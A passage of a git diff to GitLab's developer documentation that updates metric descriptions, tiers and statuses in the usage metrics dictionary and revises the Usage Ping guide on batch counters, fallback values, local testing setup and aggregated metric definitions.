### `redis_hll_counters.testing.i_testing_group_code_coverage_visit_total_monthly` -Count of unique users per week|month who visited the group code coverage page +Count of unique users per month who visited the group code coverage page [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182143_i_testing_group_code_coverage_visit_total_monthly.yml) @@ -13162,7 +13750,7 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_group_code_coverage_visit_total_weekly` -Count of unique users per week|month who visited the group code coverage page +Count of unique users per week who visited the group code coverage page [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182141_i_testing_group_code_coverage_visit_total_weekly.yml) @@ -13174,7 +13762,7 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_load_performance_widget_total_monthly` -Count of unique users per week|month who expanded the load performance report MR widget +Count of unique users per month who expanded the load performance report MR widget [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182156_i_testing_load_performance_widget_total_monthly.yml) @@ -13186,7 +13774,7 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_load_performance_widget_total_weekly` -Count of unique users per week|month who expanded the load performance report MR widget +Count of unique users per week who expanded the load performance report MR widget [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182154_i_testing_load_performance_widget_total_weekly.yml) @@ -13198,31 +13786,31 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_monthly` -Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0) +Tracks number of metrics reports uploaded monthly. -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml) Group: `group::testing` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_weekly` -Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0) +Count of unique users per week who trigger a pipeline that uploads a metrics report. -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml) Group: `group::testing` Status: `data_available` -Tiers: `free`, `premium`, `ultimate` +Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_metrics_report_widget_total_monthly` -Count of unique users per week|month who expanded the metrics report MR widget +Count of unique users per month who expanded the metrics report MR widget [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182139_i_testing_metrics_report_widget_total_monthly.yml) @@ -13234,7 +13822,7 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_metrics_report_widget_total_weekly` -Count of unique users per week|month who expanded the metrics report MR widget +Count of unique users per week who expanded the metrics report MR widget [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182138_i_testing_metrics_report_widget_total_weekly.yml) @@ -13244,6 +13832,30 @@ Status: `data_available` Tiers: `premium`, `ultimate` +### `redis_hll_counters.testing.i_testing_summary_widget_total_monthly` + +Unique users that expand the test summary merge request widget by month + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml) + +Group: `group::testing` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.testing.i_testing_summary_widget_total_weekly` + +Unique users that expand the test summary merge request widget by week + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml) + +Group: `group::testing` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + ### `redis_hll_counters.testing.i_testing_test_case_parsed_monthly` Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0) @@ -13270,7 +13882,7 @@ Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_web_performance_widget_total_monthly` -Count of unique users per week|month who expanded the browser performance report MR widget +Count of unique users per month who expanded the browser performance report MR widget [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182151_i_testing_web_performance_widget_total_monthly.yml) @@ -13282,7 +13894,7 @@ Tiers: `premium`, `ultimate` ### `redis_hll_counters.testing.i_testing_web_performance_widget_total_weekly` -Count of unique users per week|month who expanded the browser performance report MR widget +Count of unique users per week who expanded the browser performance report MR widget [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182149_i_testing_web_performance_widget_total_weekly.yml) @@ -13300,7 +13912,7 @@ Missing description Group: `` -Status: `data_available` +Status: `removed` Tiers: `free` @@ -13312,9 +13924,57 @@ Missing description Group: `` -Status: `data_available` +Status: `removed` -Tiers: +Tiers: `premium`, `ultimate` + +### `redis_hll_counters.testing.users_expanding_testing_accessibility_report_monthly` + +Count of expanding the accessibility report widget + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml) + +Group: `group::testing` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.testing.users_expanding_testing_accessibility_report_weekly` + +Count of expanding the accessibility report widget + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml) + +Group: `group::testing` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.testing.users_expanding_testing_code_quality_report_monthly` + +Count of expanding the code quality widget + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml) + +Group: `group::testing` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` + +### `redis_hll_counters.testing.users_expanding_testing_code_quality_report_weekly` + +Count of expanding the code quality widget + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml) + +Group: `group::testing` + +Status: `implemented` + +Tiers: `free`, `premium`, `ultimate` ### `redis_hll_counters.user_packages.i_package_composer_user_monthly` @@ -13720,7 +14380,7 @@ Information about the operating system running GitLab Group: `group::distribution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -13736,23 +14396,13 @@ Status: `data_available` Tiers: `free`, `premium`, `ultimate` -### `topology.duration_s` - -Time it took to collect topology data - -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180922_duration_s.yml) - -Group: `group::memory` - -Status: `data_available` - -Tiers: `free`, `premium`, `ultimate` +### `topology` -### `topology.failures` +Topology data -Contains information about failed queries +[Object JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/objects_schemas/topology_schema.json) -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180924_failures.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210323120839_topology.yml) Group: `group::memory` @@ -14086,7 +14736,7 @@ Tiers: `free` ### `usage_activity_by_stage.create.merge_requests_with_added_rules` -Merge Requests with added rules +Merge requests with added rules [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175047_merge_requests_with_added_rules.yml) @@ -14300,6 +14950,18 @@ Status: `data_available` Tiers: `free` +### `usage_activity_by_stage.enablement.counts.geo_node_usage.git_fetch_event_count_weekly` + +Number of Git fetch events from Prometheus on the Geo secondary + +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210309194425_git_fetch_event_count_weekly.yml) + +Group: `group::geo` + +Status: `data_available` + +Tiers: `premium`, `ultimate` + ### `usage_activity_by_stage.manage.bulk_imports.gitlab` Distinct count of users that triggered an import using the Group Migration tool @@ -15022,15 +15684,15 @@ Tiers: `free` ### `usage_activity_by_stage.plan.assignee_lists` -Missing description +Count of users creating assignee lists on Boards [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181132_assignee_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.plan.epics` @@ -15046,63 +15708,63 @@ Tiers: `free` ### `usage_activity_by_stage.plan.issues` -Missing description +Count of users creating Issues [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181115_issues.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.plan.label_lists` -Missing description +Count of users creating label lists on Boards [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181135_label_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.plan.milestone_lists` -Missing description +Count of users creating milestone lists on Boards -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181137_milestone_lists.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181137_milestone_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage.plan.notes` -Missing description +Count of users creating Notes on Issues [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181117_notes.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.plan.projects` -Missing description +Count of users creating projects [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181119_projects.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.plan.projects_jira_active` @@ -15166,15 +15828,15 @@ Tiers: `free` ### `usage_activity_by_stage.plan.todos` -Missing description +Count of users todos created [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181121_todos.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage.release.deployments` @@ -15346,7 +16008,7 @@ Tiers: `free` ### `usage_activity_by_stage.secure.user_container_scanning_jobs` -no idea, Count of Container Scanning jobs run, it implies user but AFAIK we don't track per user +Distinct count per user of Container Scanning jobs run [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175501_user_container_scanning_jobs.yml) @@ -15408,7 +16070,7 @@ Tiers: `ultimate` Users who set personal preference to see Details on Group overview page -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml) Group: `group::threat insights` @@ -16018,7 +16680,7 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.create.merge_requests_with_added_rules` -Merge Requests with added rules +Merge requests with added rules [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175103_merge_requests_with_added_rules.yml) @@ -16942,15 +17604,15 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.plan.assignee_lists` -Missing description +Count of MAU creating assignee lists on Boards [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181156_assignee_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.plan.epics` @@ -16966,63 +17628,63 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.plan.issues` -Missing description +Count of MAU creating issues [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181139_issues.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.plan.label_lists` -Missing description +Count of MAU creating label lists on Boards [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181200_label_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.plan.milestone_lists` -Missing description +Count of MAU created milestone lists on Boards -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181201_milestone_lists.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181201_milestone_lists.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `premium`, `ultimate` ### `usage_activity_by_stage_monthly.plan.notes` -Missing description +Count of MAU commenting on an issuable [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181141_notes.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.plan.projects` -Missing description +Count of MAU creating projects [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181143_projects.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.plan.projects_jira_active` @@ -17086,15 +17748,15 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.plan.todos` -Missing description +Count of MAU creating todos [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181145_todos.yml) -Group: `group::plan` +Group: `group::project management` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `usage_activity_by_stage_monthly.release.deployments` @@ -17182,7 +17844,7 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.secure.container_scanning_pipeline` -no idea, what is this when did it get added? guess pipelines containing a CS job +Pipelines containing a Container Scanning job [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175507_container_scanning_pipeline.yml) @@ -17350,7 +18012,7 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.secure.user_container_scanning_jobs` -no idea, Count of Container Scanning jobs run, it implies user and monthly, but AFAIK we don't track per user +Distinct count per user of Container Scanning jobs run monthly [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175505_user_container_scanning_jobs.yml) @@ -17412,7 +18074,7 @@ Tiers: `ultimate` Users who set personal preference to see Security Dashboard on Group overview page -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml) Group: `group::threat insights` diff --git a/doc/development/usage_ping/index.md b/doc/development/usage_ping/index.md index 604d59f42e1..bf423d68700 100644 --- a/doc/development/usage_ping/index.md +++ b/doc/development/usage_ping/index.md @@ -13,7 +13,7 @@ This guide describes Usage Ping's purpose and how it's implemented. For more information about Product Intelligence, see: - [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/) -- [Snowplow Guide](../snowplow.md) +- [Snowplow Guide](../snowplow/index.md) More links: @@ -25,7 +25,7 @@ More links: ## What is Usage Ping? - GitLab sends a weekly payload containing usage data to GitLab Inc. Usage Ping provides high-level data to help our product, support, and sales teams. It does not send any project names, usernames, or any other specific data. The information from the usage ping is not anonymous, it is linked to the hostname of the instance. Sending usage ping is optional, and any instance can disable analytics. -- The usage data is primarily composed of row counts for different tables in the instance’s database. By comparing these counts month over month (or week over week), we can get a rough sense for how an instance is using the different features in the product. In addition to counts, other facts +- The usage data is primarily composed of row counts for different tables in the instance's database. By comparing these counts month over month (or week over week), we can get a rough sense for how an instance is using the different features in the product. In addition to counts, other facts that help us classify and understand GitLab installations are collected. - Usage ping is important to GitLab as we use it to calculate our Stage Monthly Active Users (SMAU) which helps us measure the success of our stages and features. - While usage ping is enabled, GitLab gathers data from the other instances and can show usage statistics of your instance to your users. @@ -33,8 +33,8 @@ More links: ### Why should we enable Usage Ping? - The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions. -- As a benefit of having the usage ping active, GitLab lets you analyze the users’ activities over time of your GitLab installation. -- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring. +- As a benefit of having the usage ping active, GitLab lets you analyze the users' activities over time of your GitLab installation. +- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance's adoption of Concurrent DevOps from planning to monitoring. - You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value) - You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization? - You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes. @@ -49,7 +49,9 @@ More links: You can view the exact JSON payload sent to GitLab Inc. in the administration panel. To view the payload: -1. Navigate to **Admin Area > Settings > Metrics and profiling**. +1. Sign in as a user with [Administrator](../../user/permissions.md) permissions. +1. In the top navigation bar, click **(admin)** **Admin Area**. +1. In the left sidebar, go to **Settings > Metrics and profiling**. 1. Expand the **Usage statistics** section. 1. Click the **Preview payload** button. @@ -57,9 +59,17 @@ For an example payload, see [Example Usage Ping payload](#example-usage-ping-pay ## Disable Usage Ping -To disable Usage Ping in the GitLab UI, go to the **Settings** page of your administration panel and uncheck the **Usage Ping** checkbox. +To disable Usage Ping in the GitLab UI: -To disable Usage Ping and prevent it from being configured in the future through the administration panel, Omnibus installs can set the following in [`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options): +1. Sign in as a user with [Administrator](../../user/permissions.md) permissions. +1. In the top navigation bar, click **(admin)** **Admin Area**. +1. In the left sidebar, go to **Settings > Metrics and profiling**. +1. Expand the **Usage statistics** section. +1. Clear the **Usage Ping** checkbox and click **Save changes**. + +To disable Usage Ping and prevent it from being configured in the future through +the administration panel, Omnibus installs can set the following in +[`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options): ```ruby gitlab_rails['usage_ping_enabled'] = false @@ -204,11 +214,12 @@ For GitLab.com, there are extremely large tables with 15 second query timeouts, | `merge_request_diff_files` | 1082 | | `events` | 514 | -We have several batch counting methods available: +The following operation methods are available for your use: - [Ordinary Batch Counters](#ordinary-batch-counters) - [Distinct Batch Counters](#distinct-batch-counters) -- [Sum Batch Counters](#sum-batch-counters) +- [Sum Batch Operation](#sum-batch-operation) +- [Add Operation](#add-operation) - [Estimated Batch Counters](#estimated-batch-counters) Batch counting requires indexes on columns to calculate max, min, and range queries. In some cases, @@ -266,7 +277,7 @@ distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: :: distinct_count(::Clusters::Applications::CertManager.where(time_period).available.joins(:cluster), 'clusters.user_id') ``` -### Sum Batch Counters +### Sum Batch Operation Handles `ActiveRecord::StatementInvalid` error @@ -307,6 +318,25 @@ sum(Issue.group(:state_id), :weight)) # returns => {1=>3542, 2=>6820} ``` +### Add Operation + +Handles `StandardError`. + +Returns `-1` if any of the arguments are `-1`. + +Sum the values given as parameters. + +Method: `add(*args)` + +Examples + +```ruby +project_imports = distinct_count(::Project.where.not(import_type: nil), :creator_id) +bulk_imports = distinct_count(::BulkImport, :user_id) + + add(project_imports, bulk_imports) +``` + ### Estimated Batch Counters > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48233) in GitLab 13.7. @@ -467,6 +497,7 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF redis_slot: compliance expiry: 42 # 6 weeks aggregation: weekly + feature_flag: usage_data_i_compliance_credential_inventory ``` Keys: @@ -498,17 +529,18 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF aggregation. - `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis. Aggregation on a `daily` basis does not pull more fine grained data. - - `feature_flag`: optional `default_enabled: :yaml`. If no feature flag is set then the tracking is enabled. For details, see our [GitLab internal Feature flags](../feature_flags/index.md) documentation. The feature flags are owned by the group adding the event tracking. + - `feature_flag`: optional `default_enabled: :yaml`. If no feature flag is set then the tracking is enabled. One feature flag can be used for multiple events. For details, see our [GitLab internal Feature flags](../feature_flags/index.md) documentation. The feature flags are owned by the group adding the event tracking. Use one of the following methods to track events: -1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, if: nil)`. +1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, if: nil, &block)`. Arguments: - `controller_actions`: controller actions we want to track. - `name`: event name. - `if`: optional custom conditions, using the same format as with Rails callbacks. + - `&block`: optional block that computes and returns the `custom_id` that we want to track. This will override the `visitor_id`. Example usage: @@ -536,8 +568,6 @@ Use one of the following methods to track events: 1. Track event in API using `increment_unique_values(event_name, values)` helper method. - To be able to track the event, Usage Ping must be enabled and the event feature `usage_data_<event_name>` must be enabled. - Arguments: - `event_name`: event name. @@ -581,10 +611,6 @@ Use one of the following methods to track events: API requests are protected by checking for a valid CSRF token. - To increment the values, the related feature `usage_data_<event_name>` should be - set to `default_enabled: true`. For more information, see - [Feature flags in development of GitLab](../feature_flags/index.md). - ```plaintext POST /usage_data/increment_unique_users ``` @@ -609,8 +635,6 @@ Use one of the following methods to track events: Usage Data API is behind `usage_data_api` feature flag which, as of GitLab 13.7, is now set to `default_enabled: true`. - Each event tracked using Usage Data API is behind a feature flag `usage_data_#{event_name}` which should be `default_enabled: true` - ```javascript import api from '~/api'; @@ -784,6 +808,16 @@ end Please refer to [the `PrometheusClient` definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/prometheus_client.rb) for how to use its API to query for data. +### Fallback values for UsagePing + +We return fallback values in these cases: + +| Case | Value | +|-----------------------------|-------| +| Deprecated Metric | -1000 | +| Timeouts, general failures | -1 | +| Standard errors in counters | -2 | + ## Developing and testing Usage Ping ### 1. Naming and placing the metrics @@ -827,7 +861,7 @@ pry(main)> Gitlab::UsageData.count(User.active) Paste the SQL query into `#database-lab` to see how the query performs at scale. - `#database-lab` is a Slack channel which uses a production-sized environment to test your queries. -- GitLab.com’s production database has a 15 second timeout. +- GitLab.com's production database has a 15 second timeout. - Any single query must stay below [1 second execution time](../query_performance.md#timing-guidelines-for-queries) with cold caches. - Add a specialized index on columns involved to reduce the execution time. @@ -875,18 +909,56 @@ On GitLab.com, we have DangerBot setup to monitor Product Intelligence related f On GitLab.com, the Product Intelligence team regularly monitors Usage Ping. They may alert you that your metrics need further optimization to run quicker and with greater success. You may also use the [Usage Ping QA dashboard](https://app.periscopedata.com/app/gitlab/632033/Usage-Ping-QA) to check how well your metric performs. The dashboard allows filtering by GitLab version, by "Self-managed" & "SaaS" and shows you how many failures have occurred for each metric. Whenever you notice a high failure rate, you may re-optimize your metric. -### Optional: Test Prometheus based Usage Ping +### Usage Ping local setup + +To set up Usage Ping locally, you must: + +1. [Set up local repositories]#(set-up-local-repositories) +1. [Test local setup](#test-local-setup) +1. (Optional) [Test Prometheus-based usage ping](#test-prometheus-based-usage-ping) -If the data submitted includes metrics [queried from Prometheus](#prometheus-queries) that you would like to inspect and verify, -then you need to ensure that a Prometheus server is running locally, and that furthermore the respective GitLab components -are exporting metrics to it. If you do not need to test data coming from Prometheus, no further action +#### Set up local repositories + +1. Clone and start [GitLab](https://gitlab.com/gitlab-org/gitlab-development-kit). +1. Clone and start [Versions Application](https://gitlab.com/gitlab-services/version-gitlab-com). + Make sure to run `docker-compose up` to start a PostgreSQL and Redis instance. +1. Point GitLab to the Versions Application endpoint instead of the default endpoint: + 1. Open [submit_usage_ping_service.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L4) in your local and modified `PRODUCTION_URL`. + 1. Set it to the local Versions Application URL `http://localhost:3000/usage_data`. + +#### Test local setup + +1. Using the `gitlab` Rails console, manually trigger a usage ping: + + ```ruby + SubmitUsagePingService.new.execute + ``` + +1. Use the `versions` Rails console to check the usage ping was successfully received, + parsed, and stored in the Versions database: + + ```ruby + UsageData.last + ``` + +### Test Prometheus-based usage ping + +If the data submitted includes metrics [queried from Prometheus](#prometheus-queries) +you want to inspect and verify, you must: + +- Ensure that a Prometheus server is running locally. +- Ensure the respective GitLab components are exporting metrics to the Prometheus server. + +If you do not need to test data coming from Prometheus, no further action is necessary. Usage Ping should degrade gracefully in the absence of a running Prometheus server. -There are three kinds of components that may export data to Prometheus, and which are included in Usage Ping: +Three kinds of components may export data to Prometheus, and are included in Usage Ping: -- [`node_exporter`](https://github.com/prometheus/node_exporter) - Exports node metrics from the host machine -- [`gitlab-exporter`](https://gitlab.com/gitlab-org/gitlab-exporter) - Exports process metrics from various GitLab components -- various GitLab services such as Sidekiq and the Rails server that export their own metrics +- [`node_exporter`](https://github.com/prometheus/node_exporter): Exports node metrics + from the host machine. +- [`gitlab-exporter`](https://gitlab.com/gitlab-org/gitlab-exporter): Exports process metrics + from various GitLab components. +- Other various GitLab services, such as Sidekiq and the Rails server, which export their own metrics. #### Test with an Omnibus container @@ -928,8 +1000,8 @@ appear to be associated to any of the services running, because they all appear WARNING: This feature is intended solely for internal GitLab use. -To add data for aggregated metrics into Usage Ping payload you should add corresponding definition at [`lib/gitlab/usage_data_counters/aggregated_metrics/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics/) for metrics available at Community Edition and at [`ee/lib/gitlab/usage_data_counters/aggregated_metrics/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/usage_data_counters/aggregated_metrics/) for Enterprise Edition ones. - +To add data for aggregated metrics into Usage Ping payload you should add corresponding definition at [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/) for metrics available at Community Edition and at [`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/) for Enterprise Edition ones. + Each aggregate definition includes following parts: - `name`: Unique name under which the aggregate metric is added to the Usage Ping payload. @@ -957,7 +1029,10 @@ Example aggregated metric entries: ```yaml - name: example_metrics_union operator: OR - events: ['i_search_total', 'i_search_advanced', 'i_search_paid'] + events: + - 'i_search_total' + - 'i_search_advanced' + - 'i_search_paid' source: redis time_frame: - 7d @@ -968,7 +1043,9 @@ Example aggregated metric entries: time_frame: - 28d - all - events: ['dependency_scanning_pipeline_all_time', 'container_scanning_pipeline_all_time'] + events: + - 'dependency_scanning_pipeline_all_time' + - 'container_scanning_pipeline_all_time' feature_flag: example_aggregated_metric ``` @@ -993,7 +1070,7 @@ Aggregated metrics collected in `7d` and `28d` time frames are added into Usage } ``` -Aggregated metrics for `all` time frame are present in the `count` top level key, with the `aggregate_` prefix added to their name. +Aggregated metrics for `all` time frame are present in the `count` top level key, with the `aggregate_` prefix added to their name. For example: @@ -1001,7 +1078,7 @@ For example: Becomes: -`counts.aggregate_example_metrics_intersection` +`counts.aggregate_example_metrics_intersection` ```ruby { @@ -1085,7 +1162,7 @@ end #### Add new aggregated metric definition After all metrics are persisted, you can add an aggregated metric definition at -[`aggregated_metrics/`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics/). +[`aggregated_metrics/`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/). To declare the aggregate of metrics collected with [Estimated Batch Counters](#estimated-batch-counters), you must fulfill the following requirements: @@ -1099,7 +1176,9 @@ Example definition: - name: example_metrics_intersection_database_sourced operator: AND source: database - events: ['dependency_scanning_pipeline', 'container_scanning_pipeline'] + events: + - 'dependency_scanning_pipeline' + - 'container_scanning_pipeline' time_frame: - 28d - all @@ -1334,4 +1413,24 @@ bin/rake gitlab:usage_data:dump_sql_in_yaml > ~/Desktop/usage-metrics-2020-09-02 ## Generating and 